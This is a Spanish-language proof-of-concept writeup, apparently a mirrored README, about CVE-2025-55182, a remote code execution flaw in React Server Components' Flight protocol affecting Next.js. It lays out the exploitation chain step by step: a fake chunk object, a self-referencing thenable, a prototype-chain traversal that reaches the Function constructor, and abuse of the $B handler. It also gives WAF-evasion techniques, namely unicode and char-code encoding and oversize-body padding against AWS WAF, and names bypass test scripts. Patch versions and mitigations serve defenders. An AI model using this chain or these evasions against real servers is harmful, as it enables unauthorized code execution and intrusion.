CVE-2025-55182-research

Prueba de concepto técnica y análisis profundo de CVE-2025-55182, una vulnerabilidad crítica de RCE en el Protocolo Flight de React mediante path traversal, inyección de chunks falsos y abuso del manejador $B.

Flujo de explotación```

┌─────────────────────────────────────────────────────────────────────┐ │ 1. Attacker sends multipart form with fake chunk object │ │ → decodeReply() parses form fields 0, 1, 2 │ │ → Object has: then, status, value, _response │ └─────────────────────────────────────────────────────────────────────┘ │ ▼ ┌─────────────────────────────────────────────────────────────────────┐ │ 2. Self-reference makes object thenable with real function │ │ → then: "$1:proto:then" → Chunk.prototype.then │ │ → Chunk.prototype.then(this) calls initializeModelChunk(this) │ │ → Uses this._response (attacker's fake _response) │ └─────────────────────────────────────────────────────────────────────┘ │ ▼ ┌─────────────────────────────────────────────────────────────────────┐ │ 3. parseModelString() handles "$B1337" reference │ │ → case "B": return response._formData.get(response._prefix+id) │ │ → Calls _formData.get with attacker's _prefix + "1337" │ └─────────────────────────────────────────────────────────────────────┘ │ ▼ ┌─────────────────────────────────────────────────────────────────────┐ │ 4. getOutlinedModel() resolves _formData.get (lazy evaluation): │ │ → "$1:constructor:constructor" traverses prototype chain │ │ → Returns Function constructor │ │ → Function(code + "1337") → RCE │ └─────────────────────────────────────────────────────────────────────┘

Thenable Auto-Referencial (then)

El then: "$1:__proto__:then" crea una auto-referencia que se resuelve a una función real:``` $1:proto:then ↓ $1 → chunk 1 → "$@0" → getChunk(0) → Chunk object ↓ Chunk.proto.then → Chunk.prototype.then (actual function!)

5. initializeModelChunk(this) usa this._response - el _response falso del atacante:```javascript value = reviveModel( chunk._response, // ← attacker's fake _response! ... );

Stage 1: El then autorreferencial del objeto externo desencadena el procesamiento de fragmentos

Stage 2: Cuando React resuelve el modelo, analiza value y encuentra otro thenable con then: "$B1337". El prefijo $B desencadena el manejador:```javascript case "B": return response._formData.get(response._prefix + obj); // obj = "1337"

El código interno de React puede acceder a response._chunks.get() o response._chunks.has() durante el procesamiento. Un Map vacío satisface estas llamadas sin errores, permitiendo que la ejecución llegue al manipulador vulnerable $B.

Rutas de Código Vulnerables

decodeReply() es el punto de entrada, no vulnerable en sí mismo.

Recorrido de Ruta (getOutlinedModel()):```javascript for (key = 1; key < reference.length; key++) parentObject = parentObject[reference[key]]; // No validation!

$B Manejador RCE (parseModelString()):```javascript case "B": return response._formData.get(response._prefix + obj); // RCE!

2. hasOwnProperty check in getOutlinedModel() - Bloquea el recorrido del prototipo ```javascript hasOwnProperty.call(value, name) && (value = value[name]);
   root@kitploit:~

3. Manejo de __proto__ en reviveModel() - Previene la contaminación del prototipo. ```javascript void 0 !== parentObj || "proto" === i ? (value[i] = parentObj) : delete value[i];
   root@kitploit:~

4. Verificación de tipo en initializeModelChunk() - Valida los oyentes ```javascript "function" === typeof listener ? listener(value) : fulfillReference(response, listener, value);
   root@kitploit:~

Impacto y Versiones

Evaluación de Impacto

Versiones Afectadas

• react-server-dom-webpack: 19.0.0, 19.1.0, 19.1.1, 19.2.0
• react-server-dom-turbopack: Mismas versiones
• Next.js: 15.x, 16.x (antes de los parches), canarios desde 14.3.0-canary.77+

Versiones Corregidas

• React: 19.0.1+, 19.1.2+, 19.2.1+
• Next.js: 15.0.5, 15.1.9, 15.2.6, 15.3.6, 15.4.8, 15.5.7, 16.0.7+

Por qué falla la detección basada en firmas del WAF

Esta sección explica por qué las reglas tradicionales de coincidencia de patrones del WAF no pueden detectar esta explotación de manera fiable. Comprender estas limitaciones es esencial para que los equipos de seguridad evalúen su postura defensiva.

El problema central: Codificación en múltiples capas

El payload de explotación pasa a través de múltiples analizadores, cada uno con soporte de codificación diferente. Un WAF que inspecciona los bytes HTTP en bruto ve cadenas codificadas, pero el servidor las decodifica antes de procesarlas:

Esto crea un desajuste fundamental: el WAF ve bytes codificados, pero la aplicación ve cadenas decodificadas.

Qué firmas tendrían que coincidir

Un WAF ingenuo podría buscar patrones como constructor, __proto__, resolved_model o child_process. Sin embargo, JSON permite escapes unicode para cualquier carácter:

El código JavaScript dentro del payload tiene aún más opciones de codificación:

La brecha de detección

Cuando se combinan todas las técnicas de codificación:

• Las claves JSON se convierten en secuencias unicode (\u0074\u0068\u0065\u006e para then)
• Los identificadores JS se convierten en arrays numéricos (S(99,104,105,108,100,95,...) para child_process)
• El payload bruto no contiene palabras clave reconocibles

Un WAF que escanea el cuerpo HTTP solo ve secuencias de escape y números, nada que coincida con las firmas de ataque tradicionales.

Por qué esto es importante para los defensores

1. Las reglas basadas en firmas dan una falsa confianza - El payload llega al servidor sin ser detectado
2. La codificación es infinita - Cada carácter puede escaparse de manera diferente; las expresiones regulares no pueden enumerar todas las variantes
3. El ataque cumple con el protocolo - Todas las codificaciones son JSON/JavaScript válidos según la especificación

Consideraciones sobre la detección de cabeceras

La cabecera Next-Action identifica las solicitudes de Server Action. Si bien los nombres de cabecera no pueden codificarse en unicode (RFC 7230 requiere tokens ASCII), las diferencias de normalización entre el WAF y el servidor crean brechas de detección:

Recomendaciones defensivas

El parcheo es la única mitigación fiable. Las reglas del WAF no pueden bloquear completamente este ataque debido a la flexibilidad de codificación.

Versiones requeridas:

• React: 19.0.1+, 19.1.2+, 19.2.1+
• Next.js: 15.0.5+, 15.1.9+, 15.2.6+, 15.3.6+, 15.4.8+, 15.5.7+, 16.0.7+

Si el parche se retrasa, considere:

1. Decodificar antes de coincidir - El WAF debe decodificar \uXXXX, \xXX y normalizar las llamadas fromCharCode() antes de la coincidencia de patrones
2. Detección estructural - Buscar estructuras JSON que contengan _response, _prefix, _chunks, o referencias circulares ($@0)
3. Normalización de cabeceras - Coincidir con la cabecera next-action sin distinguir mayúsculas/minúsculas y recortando espacios
4. Bloquear Server Actions - Si no se usan Server Actions, bloquear completamente las solicitudes con la cabecera Next-Action
5. Monitoreo en tiempo de ejecución - Alertar sobre llamadas a Function() con argumentos de cadena dinámicos

Conclusión clave: La coincidencia de patrones por sí sola fallará contra esta clase de ataque. La superficie de codificación es demasiado grande para enumerar.

Bypass de los límites de inspección del cuerpo en AWS WAF

Incluso con reglas completas de WAF, AWS WAF tiene límites de tamaño de inspección del cuerpo que pueden ser explotados. Esta sección documenta técnicas de bypass probadas utilizando payloads sobredimensionados.

Límites de inspección del cuerpo

AWS WAF solo inspecciona una parte del cuerpo de la solicitud:

El problema de OversizeHandling

Las reglas del WAF especifican cómo manejar las solicitudes que exceden los límites de inspección:

Si su regla de WAF usa OversizeHandling: CONTINUE (valor predeterminado común), el bypass es trivial.

Estrategia de bypass: Relleno antes del payload

Coloque datos de relleno inofensivos antes del payload de explotación para que queden fuera de la ventana de inspección:``` ┌─────────────────────────────────────────────────────────────────┐ │ Multipart Form Body │ ├─────────────────────────────────────────────────────────────────┤ │ [Field: padding] 65KB of 'A' characters │ │ ↑ WAF inspects first 8-64KB (sees only this) │ ├─────────────────────────────────────────────────────────────────┤ │ [Field: 0] {"then":"$1:proto:then", ...} │ │ [Field: 1] "$@0" │ │ [Field: 2] [] │ │ ↑ Exploit payload - beyond WAF inspection limit │ └─────────────────────────────────────────────────────────────────┘

Patrón dividido entre fragmentos:``` Chunk 1 ends with: ..."$ ← WAF sees "$" alone (no match for $@) Chunk 2 starts with: @0"... ← WAF sees "@" alone (no match for $@)

Consideraciones sobre el comportamiento del WAF

Nota: AWS WAF generalmente reensambla los cuerpos fragmentados antes de la inspección. Sin embargo, esto debe verificarse por entorno, ya que las configuraciones varían.

Recomendaciones de mitigación

1. Cambiar OversizeHandling a MATCH ```json "OversizeHandling": "MATCH"
   root@kitploit:~

Esto bloquea cualquier solicitud que exceda el límite de inspección cuando se cumplen las condiciones de la regla.

2. Aumentar el límite de inspección del cuerpo (solo CloudFront/API Gateway) Configure hasta 64 KB en la configuración de la ACL web, pero esto no evita completamente la evasión.

3. Agregar regla de bloqueo basada en tamaño Bloquee las solicitudes POST con el encabezado Next-Action que excedan un tamaño razonable (por ejemplo, 10 KB).

4. Parchear la aplicación - La única solución completa.

Scripts de prueba

Vea los scripts de prueba incluidos:

• test-simple.cjs - Prueba de carga útil sin fragmentación de línea base
• test-oversize.cjs - Prueba tamaños de relleno de 0 a 128 KB
• test-chunked-v2.cjs - Codificación de transferencia fragmentada con división $@
• test-chunked-bypass.cjs - Múltiples estrategias de fragmentación (5 bytes, 10 bytes, divisiones de patrón)

Uso:```bash

Start vulnerable Next.js server (port 3000)

cd nextjs-test && npm run dev

Run tests

node test-simple.cjs # Baseline node test-oversize.cjs # Oversize body bypass node test-chunked-v2.cjs # Chunked $@ split node test-chunked-bypass.cjs # All chunking strategies

Con el payload "$1:constructor:constructor":

1. chunk[1]["constructor"] → [Function: Object]
2. Object["constructor"] → [Function: Function]

Rutas Bloqueadas que Intentamos

Si bien obtuvimos Function, lograr RCE requiere llamarlo con argumentos controlados. Estos caminos fallaron:

1. Ruta Thenable (Bloqueada)```javascript // Attempt: { then: Function } // When awaited, V8 calls: Function(resolve, reject) // resolve.toString() = "function () { [native code] }" // Result: SyntaxError - invalid parameter name

3. Ruta del Iterador (Bloqueado)```javascript // Function.bind(null, code) needs TWO calls to execute // React only calls iterator once // Result: Returns bound function, doesn't execute